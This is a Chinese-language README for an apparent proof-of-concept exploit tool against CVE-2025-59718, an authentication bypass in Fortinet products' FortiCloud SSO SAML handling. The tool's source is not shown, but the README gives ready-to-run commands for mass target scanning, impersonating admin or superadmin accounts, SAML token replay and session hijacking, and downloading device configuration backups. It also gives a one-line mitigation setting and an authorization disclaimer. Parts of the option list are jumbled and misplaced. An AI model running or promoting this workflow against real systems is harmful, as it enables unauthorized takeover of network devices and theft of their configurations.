该工具是 CVE-2025-59718 的概念验证(PoC)漏洞利用脚本。CVE-2025-59718 是 Fortinet 产品(例如 FortiOS、FortiProxy、FortiSwitchManager)中的一个严重身份验证绕过漏洞,其根源在于 FortiCloud SSO 的 SAML 消息中加密签名验证不当。该漏洞允许未认证的远程攻击者通过构造并提交未签名的 SAML 响应来绕过身份验证并获得管理员访问权限。
重要说明: 此脚本仅用于教育、研究和授权测试目的。未经明确许可对系统进行未授权使用是非法且不道德的。测试前请始终遵守适用法律并获得适当授权。
该脚本支持单一或批量目标扫描、可选代理使用、SAML 令牌重放和会话劫持模拟,以及配置文件下载等认证后操作。它使用多线程以提高效率,并将结果记录到文件中以供分析。
config system global
set admin-forticloud-sso-login disable
end
pip 安装:
pip install requests argparse
exploit.py)。pip install -r requirements.txt
requests 和 argparse 的 requirements.txt。)chmod +x exploit.py
使用 Python 运行脚本:
python exploit.py [options]
--target <IP/hostname>:要扫描的单一目标(例如 192.168.1.1 或 example.com)。--targets <comma-separated list>:多个目标(例如 192.168.1.1,example.com)。--file <path>:包含目标列表的文件,每行一个目标。--username <name>:要在 SAML 载荷中冒充的用户名(默认:admin)。--endpoint <path>:SAML 登录端点(默认:/remote/saml/login)。--max-threads <int>:最大并发线程数(默认:10;建议最大:50)。--saml-token <token>:用于重放/劫持的 Base64 编码 SAML 令牌(可选)。--proxy <url>:代理 URL(例如 )。注意: 如果未提供任何目标选项,脚本将报错退出。
单一目标扫描:
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
通过本地代理扫描单个设备,冒充 admin 用户。
列表批量扫描:
python exploit.py --targets 192.168.1.1,example.com --max-threads 20 --post-auth-config
并行扫描多个目标,成功时启用配置下载。
基于文件的扫描与令牌重放:
python exploit.py --file targets.txt --saml-token <base64_token> --endpoint /custom/saml
处理 targets.txt 中的目标,尝试令牌重放/劫持。
非交互式完整扫描:
python exploit.py --file targets.txt --username superadmin --max-threads 15 --post-auth-config --output-file results.csv
自定义用户名、高线程数、配置下载、自定义输出。
/api/v2/monitor/system/config/backup 下载配置。示例 CSV 行:
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200
--proxy 进行调试。requests 和 argparse。--max-threads。这是一个 PoC;欢迎通过拉取请求贡献改进(例如更好的检测、附加功能)。请以安全和道德为重。
最后更新:2025 年 12 月 22 日
http://127.0.0.1:8080--post-auth-config:启用认证后配置下载(标志位;默认禁用)。--vulnerable-file <path>:用于保存易受攻击目标的文件(默认:vulnerable_targets.txt)。--output-file <path>:用于攻击报告的 CSV 文件(默认:attack_report.csv)。